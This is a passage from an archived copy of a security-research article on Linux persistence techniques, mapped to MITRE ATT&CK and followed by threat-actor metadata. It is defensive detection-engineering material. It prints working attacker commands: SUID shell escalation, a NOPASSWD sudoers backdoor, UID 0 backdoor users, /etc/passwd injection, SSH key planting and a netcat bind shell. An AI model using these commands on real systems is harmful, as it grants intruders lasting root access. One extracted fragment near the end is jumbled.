python is not present on the system.\r\n[+] SUID privilege granted to /usr/bin/python3\r\nAfter setting SUID permissions to the binary, it can be executed in a manner that will allow the user to keep the\r\nroot privileges:\r\n/usr/bin/find . -exec /bin/sh -p \\; -quit\r\nwhoami\r\nroot\r\nLooking at the events this generates, we can see a discrepancy between the user ID and real user ID:\r\nEvents generated as a result of SUID/SGID persistence establishment\r\nAfter executing PANIX with sudo , SUID permissions were granted to /usr/bin/find , /usr/bin/dash , and\r\n/usr/bin/python3 using chmod . Subsequently, /usr/bin/find was utilized to run /bin/sh with privileged\r\nmode ( -p ) to obtain a root shell. Typically, the real user ID of a process matches the effective user ID. However,\r\nthere are exceptions, such as when using sudo , su , or, as demonstrated here, a SUID binary, where the real\r\nuser ID differs. Using our knowledge of GTFOBins and the execution chain, we can detect several indicators of\r\nSUID and SGID abuse.\r\nCategory Coverage\r\nProcess SUID/SGUID Enumeration Detected\r\nSetuid / Setgid Bit Set via chmod\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 18 of 26\n\nCategory Coverage\r\nPrivilege Escalation via SUID/SGID\r\nHunting for T1548.001 - setuid and setgid\r\nThe simplest and most effective way of hunting for SUID and SGID files is to search the filesystem for these files\r\nthrough OSQuery and take note of unusual ones. The OSQuery SUID Hunting rule can help you to hunt for this\r\ntechnique.\r\nT1548.003 - abuse elevation control mechanism: sudo and sudo caching (sudoers\r\nfile modification)\r\nThe sudo command allows users to execute commands with superuser or other user privileges. The sudoers file\r\nmanages sudo permissions, which dictates who can use sudo and what commands they can run. The main\r\nconfiguration file is located at /etc/sudoers .\r\nThis file contains global settings and user-specific rules for sudo access. Additionally, there is a directory used to\r\nstore additional sudoers configuration files at /etc/sudoers.d/ . Each file in this directory is treated as an\r\nextension of the main sudoers file, allowing for modular and organized sudo configurations.\r\nBoth system administrators and threat actors can misconfigure the sudoers file and its extensions. A common\r\naccidental misconfiguration might be overly permissive rules that grant users more access than necessary.\r\nConversely, a threat actor with root access can deliberately modify these files to ensure they maintain elevated\r\naccess.\r\nAn example of a misconfiguration or backdoor that allows an attacker to run any command as any user without a\r\npassword prompt looks like this:\r\nAttacker ALL=(ALL) NOPASSWD:ALL\r\nBy exploiting such misconfigurations, an attacker can maintain persistent root access. For example, with the\r\nabove backdoored configuration, the attacker can gain a root shell by executing sudo /bin/bash . Similarly to the\r\nprevious technique, this technique is also classified as privilege escalation/defense evasion by MITRE. Of course,\r\nthis is again true, but it is also a way of establishing persistence. More information on T1548.003 can be found\r\nhere.\r\nPersistence through T1548.003 - sudoers file modification\r\nThe sudo -l command can be used to list out the allowed (and forbidden) commands for the user on the current\r\nhost. By default, a non-root user cannot run any commands using sudo without specifying a password.\r\nsudo -l\r\n[sudo] password for attacker:\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 19 of 26\n\nLet’s add a backdoor entry for the attacker user:\r\nsudo ./panix.sh --sudoers --username attacker\r\n[+] User attacker can now run all commands without a sudo password.\r\nAfter adding a backdoor in the sudoers file and rerunning the sudo -l command, we see that the attacker can\r\nnow run any command on the system with sudo without specifying a password.\r\n\u003e sudo -l\r\n\u003e User attacker may run the following commands on ubuntu-persistence-research:\r\n\u003e (ALL : ALL) ALL\r\n\u003e (ALL) NOPASSWD: ALL\r\nAfter planting this backdoor, not much traces are left behind, other than the creation of the\r\n/etc/sudoers.d/attacker file.\r\nEvents generated as a result of sudoers file modification persistence establishment\r\nThis backdoor can also be established by adding to the /etc/sudoers file, which would not generate a file\r\ncreation event. This event can be captured via FIM.\r\nCategory Coverage\r\nFile Sudoers File Modification\r\nPotential Persistence via File Modification\r\nProcess Potential Privilege Escalation via Sudoers File Modification\r\nHunting for T1548.003 - sudoers file modification\r\nOSQuery provides a module that displays all sudoers files and rules through a simple and effective live hunt,\r\navailable at Privilege Escalation Identification via Existing Sudoers File.\r\nT1098/T1136 - account manipulation/creation\r\nPersistence can be established through the creation or modification of user accounts. By manipulating user\r\ncredentials or permissions, attackers can ensure long-term access to a compromised system. This section covers\r\nvarious methods of achieving persistence through user account manipulation. MITRE divides this section into\r\nT1098 (account manipulation) and T1136 (create account).\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 20 of 26\n\nT1136.001 - create account: local account\r\nCreating a new user account is a straightforward way to establish persistence. An attacker with root privileges can\r\nadd a new user, ensuring they maintain access to the system even if other backdoors are removed. For example:\r\nuseradd -m -s /bin/bash backdooruser\r\necho 'backdooruser:password' | chpasswd\r\nThis creates a new user called backdooruser with a password of password .\r\nT1098 - account manipulation: user credential modification\r\nModifying the credentials of an existing user can also provide persistent access. This might involve changing the\r\npassword of a privileged user account.\r\necho 'targetuser:newpassword' | chpasswd\r\nThis changes the password for targetuser to newpassword .\r\nT1098 - account manipulation: direct /etc/passwd file modification\r\nDirectly writing to the /etc/passwd file is another method for modifying user accounts. This approach allows\r\nattackers to manually add or modify user entries, potentially avoiding detection.\r\necho \"malicioususer:\u003copenssl-hash\u003e:0:0:root:/root:/bin/bash\" \u003e\u003e /etc/passwd\r\nWhere \u003c;openssl-hash\u003e is a hash that can be generated through openssl passwd \"$password\".\r\nThe command above creates a new user malicioususer , adds them to the sudo group , and sets a password.\r\nSimilarly, this attack can be performed on the /etc/shadow file, by replacing the hash for a user’s password with\r\na known hash.\r\nT1136.001 - create account: backdoor user creation\r\nA backdoor user is a user account created or modified specifically to maintain access to the system. This account\r\noften has elevated privileges and is intended to be difficult to detect. One method involves creating a user with a\r\nUID of 0, effectively making it a root-equivalent user. This approach is detailed in a blog post called Backdoor\r\nusers on Linux with uid=0.\r\nuseradd -ou 0 -g 0 -m -d /root -s /bin/bash backdoorroot\r\necho 'backdoorroot:password' | chpasswd\r\nThis creates a new user backdoorroot with UID 0, giving it root privileges.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 21 of 26\n\nT1098 - account manipulation: user added to privileged group\r\nAdding an existing user to a privileged group, such as the sudo group, can elevate their permissions, allowing\r\nthem to execute commands with superuser privileges.\r\nusermod -aG sudo existinguser\r\nThis adds existinguser to the sudo group.\r\nPersistence through T1098/T1136 - account manipulation/creation\r\nAll of these techniques are trivial to execute manually, but they are also built into PANIX in case you want to\r\nanalyze the logs using a binary rather than a manual action. As the events generated by these techniques are not\r\nvery interesting, we will not analyze them individually. We detect all the techniques described above through a\r\nvast set of detection rules.\r\nCategory Coverage\r\nFile Potential Persistence via File Modification\r\nShadow File Modification\r\nProcess Potential Linux Backdoor User Account Creation\r\nIAM Linux Group Creation\r\nLinux User Added to Privileged Group\r\nLinux User Account Creation\r\nUser or Group Creation/Modification\r\nHunting for T1098/T1136 - account manipulation/creation\r\nThere are many ways to hunt for these techniques. The above detection rules can be added as a timelines query to\r\nlook back at a longer duration of time, the /var/log/auth.log (and equivalents on other Linux distributions) can\r\nbe parsed and read, and OSQuery can be leveraged to read user info from a running system. The Privilege\r\nEscalation/Persistence via User/Group Creation and/or Modification hunt rule contains several OSQuery queries\r\nto hunt for these techniques.\r\nT1098.004 - account manipulation: SSH\r\nSecure Shell (SSH) is a protocol to securely access remote systems. It leverages public/private key pairs to\r\nauthenticate users, providing a more secure alternative to password-based logins. The SSH keys consist of a\r\nprivate key, kept secure by the user, and a public key, shared with the remote system.\r\nThe default locations for user-specific SSH key files and configuration files are as follows:\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 22 of 26\n\n~/.ssh/id_rsa\r\n~/.ssh/id_rsa.pub\r\n~/.ssh/authorized_keys\r\n/root/.ssh/id_rsa\r\n/root/.ssh/id_rsa.pub\r\n/root/.ssh/authorized_keys\r\nA system-wide configuration is present in:\r\n/etc/ssh/\r\nThe private key remains on the client machine, while the public key is copied to the remote server’s\r\nauthorized_keys file. This setup allows the user to authenticate with the server without entering a password.\r\nSSH keys are used to authenticate remote login sessions via SSH and for services like Secure Copy Protocol\r\n(SCP) and Secure File Transfer Protocol (SFTP), which allow secure file transfers between machines.\r\nAn attacker can establish persistence on a compromised host by adding their public key to the authorized_keys\r\nfile of a user with sufficient privileges. This ensures they can regain access to the system even if the user changes\r\ntheir password. This persistence method is stealthy as built-in shell commands can be used, which are commonly\r\nmore difficult to capture as a data source. Additionally, it does not rely on creating new user accounts or\r\nmodifying system binaries.\r\nPersistence through T1098.004 - SSH modification\r\nSimilar to previously, PANIX can be used to establish persistence through SSH. It can also be tested by manually\r\nadding a new key to ~/.ssh/authorized_keys , or by creating a new public/private key pair on the system. If you\r\nwant to test these techniques, you can execute the following PANIX command to establish persistence by creating\r\na new key:\r\n./panix.sh --ssh-key --default\r\nSSH key generated:\r\nPrivate key: /home/user/.ssh/id_rsa18220\r\nPublic key: /home/user/.ssh/id_rsa1822.pub\r\n[+] SSH key persistence established.\r\nUse the following PANIX command to add a new public key to the authorized_keys file:\r\n./panix.sh --authorized-keys --default --key \u003ckey\u003e\r\n[+] Persistence added to /home/user/.ssh/authorized_keys\r\nFor file modification events, we can leverage FIM. We have several detection rules covering this technique in\r\nplace.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 23 of 26\n\nCategory Coverage\r\nFile Potential Persistence via File Modification\r\nProcess SSH Key Generated via ssh-keygen\r\nA note on leveraging the “Potential Persistence via File Modification” rule: due to the limitation of leveraging\r\nwildcards in FIM, the FIM configuration should be adapted to represent your environment’s public/private key\r\nand authorized_keys file locations. MITRE provides additional information on this technique in T1098.004.\r\nHunting for T1098.004 - SSH modification\r\nThe main focuses while hunting for SSH persistence are newly added public/private keys, file changes related to\r\nthe authorized_keys files, and configuration changes. We can leverage OSQuery to hunt for all three through\r\nthe queries in the Persistence via SSH Configurations and/or Keys hunt.\r\nT1059.004 - command and scripting interpreter: bind shells\r\nA bind shell is a remote access tool allowing an attacker to connect to a compromised system. Unlike reverse\r\nshells, which connect back to the attacker’s machine, a bind shell listens for incoming connections on the\r\ncompromised host. This allows the attacker to connect at will, gaining command execution on the target machine.\r\nA bind shell typically involves the following steps:\r\n1. Listening Socket: The compromised system opens a network socket and listens for incoming connections\r\non a specific port.\r\n2. Binding the Shell: When a connection is established, the system binds a command shell (such as\r\n/bin/bash or /bin/sh ) to the socket.\r\n3. Remote Access: The attacker connects to the bind shell using a network client (like netcat ) and gains\r\naccess to the command shell on the compromised system.\r\nAn attacker can set up a bind shell in various ways, ranging from simple one-liners to more sophisticated scripts.\r\nHere is an example of a bind shell using the traditional version of netcat:\r\nnc -lvnp 9001 -e /bin/bash\r\nOnce the bind shell is set up, the attacker can connect to it from their machine:\r\nnc -nv \u003ctarget_ip\u003e 4444\r\nTo maintain persistence, the bind shell must be set to start automatically upon system boot or reboot. This can be\r\nachieved through various methods we discussed earlier, such as cron , Systemd, or methods discussed in the\r\nnext part of this Linux detection engineering series.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 24 of 26\n\nMITRE does not have a specific bind/reverse-shell technique, and probably classifies bind shells as the execution\r\ntechnique. However, the bind shell is used for persistence in our use case. Some more information from MITRE\r\non bind/reverse shells is available at T1059.004.\r\nPersistence through T1059.004 - bind shells\r\nDetecting bind shells through behavioral rules is inherently challenging because their behavior is typically benign\r\nand indistinguishable from legitimate processes. A bind shell opens a network socket and waits for an incoming\r\nconnection, a common activity for many legitimate services. When an attacker connects, it merely results in a\r\nnetwork connection and the initiation of a shell session, which are both normal operations on a system.\r\nDue to behavioral detection's limitations, the most reliable method for identifying bind shells is static signature\r\ndetection. This approach involves scanning the file system or memory for known shellcode patterns associated\r\nwith bind shells.\r\nBy leveraging static signatures, we can identify and prevent bind shells more effectively than relying solely on\r\nbehavioral analysis. This approach helps detect the specific code sequences used by bind shells, regardless of their\r\nbehavior, ensuring a more robust defense against this type of persistence mechanism.\r\nAs all of our signature-based detections are open-source, you can check them out by visiting our protections-artifacts YARA repository. If you want to analyze this method within your tooling, you can leverage PANIX to set\r\nup a bind shell and connect to it using nc . To do so, execute the following command:\r\n./panix.sh --bind-shell --default --architecture x64\r\n[+] Bind shell /tmp/bd64 was created, executed and backgrounded.\r\n[+] The bind shell is listening on port 9001.\r\n[+] To interact with it from a different system, use: nc -nv \u003cIP\u003e 9001\r\n[+] Bind shell persistence established!\r\nHunting for T1059.004 - bind shells\r\nAlthough writing solid behavioral detection rules that do not provide false positives on a regular basis is near\r\nimpossible, hunting for them is not. Based on the behavior of a bind shell, we know that we can look for long\r\nrunning processes, listening ports and listening sockets. To do so, we can leverage OSQuery. Several hunts are\r\navailable for this scenario within the Persistence Through Reverse/Bind Shells hunting rule.\r\nT1059.004 - command and scripting interpreter: reverse shells\r\nReverse shells are utilized in many of the persistence techniques discussed in this article and will be further\r\nexplored in upcoming parts. While specific rules for detecting reverse shells were not added to many of the\r\ntechniques above, they are very relevant. To maintain consistency and ensure comprehensive coverage, the\r\nfollowing detection and endpoint rules are included to capture these persistence mechanisms.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 25 of 26\n\nCategory Coverage\r\nProcess Suspicious Execution via setsid and nohup\r\nSuspicious Execution via a Hidden Process\r\nNetwork Linux Reverse Shell\r\nLinux Reverse Shell via Child\r\nLinux Reverse Shell via Netcat\r\nLinux Reverse Shell via Suspicious Utility\r\nLinux Reverse Shell via setsid and nohup\r\nPotential Meterpreter Reverse Shell\r\nPotential Reverse Shell via UDP\r\nConclusion\r\nIn this part of the “Linux Detection Engineering” series, we looked into the basics of Linux persistence. If you\r\nmissed the first part of the series, which focused on detection engineering with Auditd, you can catch up here. This\r\narticle explored various persistence techniques, including scheduled tasks, systemd services, shell profile\r\nmodifications, XDG autostart configurations, SUID/SGID binaries, sudoers rules, user and group\r\ncreations/modifications, SSH key, and authorized_key modifications, bind and reverse shells.\r\nNot only did the explanation cover how each persistence method operates, but it also provided practical\r\ndemonstrations of configuring them using a straightforward tool called PANIX. This hands-on approach enabled\r\nyou to test the coverage of these techniques using your preferred security product. Additionally, we discussed\r\nhunting strategies for each method, ranging from ES|QL aggregation queries to live hunt queries with OSQuery.\r\nWe hope you found this format helpful. In the next article, we'll explore more advanced and lesser-known\r\npersistence methods used in the wild. Until then, happy hunting!\r\nSource: https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 26 of 26\n\ncannot be exploited. find / -perm An example -4000 -type of a misconfigured f -exec ls -la SUID {} \\; binary looks like this:  \n-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash    \nThe /bin/bash binary is not a default SUID binary and causes a security risk. An attacker could now run\n/bin/bash -p to run bash and keep the root privileges on execution. More information on this is available at\nGTFOBins. Although MITRE defines this as privilege escalation/defense  evasion, it can (as shown) be used for\npersistence as well. More information by MITRE on this technique is available at T1548.001.  \n   Page 17 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"
	],
	"report_names": [
		"primer-on-persistence-mechanisms"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "11c69e3d-a740-4a70-abd3-158ac0375452",
			"created_at": "2023-01-06T13:46:39.29608Z",
			"updated_at": "2026-04-10T02:00:03.27813Z",
			"deleted_at": null,
			"main_name": "Common Raven",
			"aliases": [
				"NXSMS",
				"DESKTOP-GROUP",
				"OPERA1ER"
			],
			"source_name": "MISPGALAXY:Common Raven",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "a1071a25-d7c1-41be-a97f-2ec1b167ceb0",
			"created_at": "2023-02-18T02:04:24.365926Z",
			"updated_at": "2026-04-10T02:00:04.792271Z",
			"deleted_at": null,
			"main_name": "OPERA1ER",
			"aliases": [
				"Common Raven",
				"DESKTOP-GROUP",
				"NXSMS",
				"Operation Nervone"
			],
			"source_name": "ETDA:OPERA1ER",
			"tools": [
				"AgenTesla",
				"Agent Tesla",
				"AgentTesla",
				"Agentemis",
				"BitRAT",
				"BlackNET RAT",
				"Cobalt Strike",
				"CobaltStrike",
				"Kasidet",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Metasploit",
				"Negasteal",
				"NetWeird",
				"NetWire",
				"NetWire RAT",
				"NetWire RC",
				"NetWired RC",
				"Neutrino Bot",
				"Neutrino Exploit Kit",
				"Ngrok",
				"Origin Logger",
				"PsExec",
				"RDPWrap",
				"Recam",
				"Remcos",
				"RemcosRAT",
				"Remvio",
				"Revealer Keylogger",
				"Socmer",
				"VenomRAT",
				"ZPAQ",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434409,
	"ts_updated_at": 1775792081,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/dc8437a657e65d8081977059d898382b32859b96.pdf",
		"text": "https://archive.orkl.eu/dc8437a657e65d8081977059d898382b32859b96.txt",
		"img": "https://archive.orkl.eu/dc8437a657e65d8081977059d898382b32859b96.jpg"
	}
}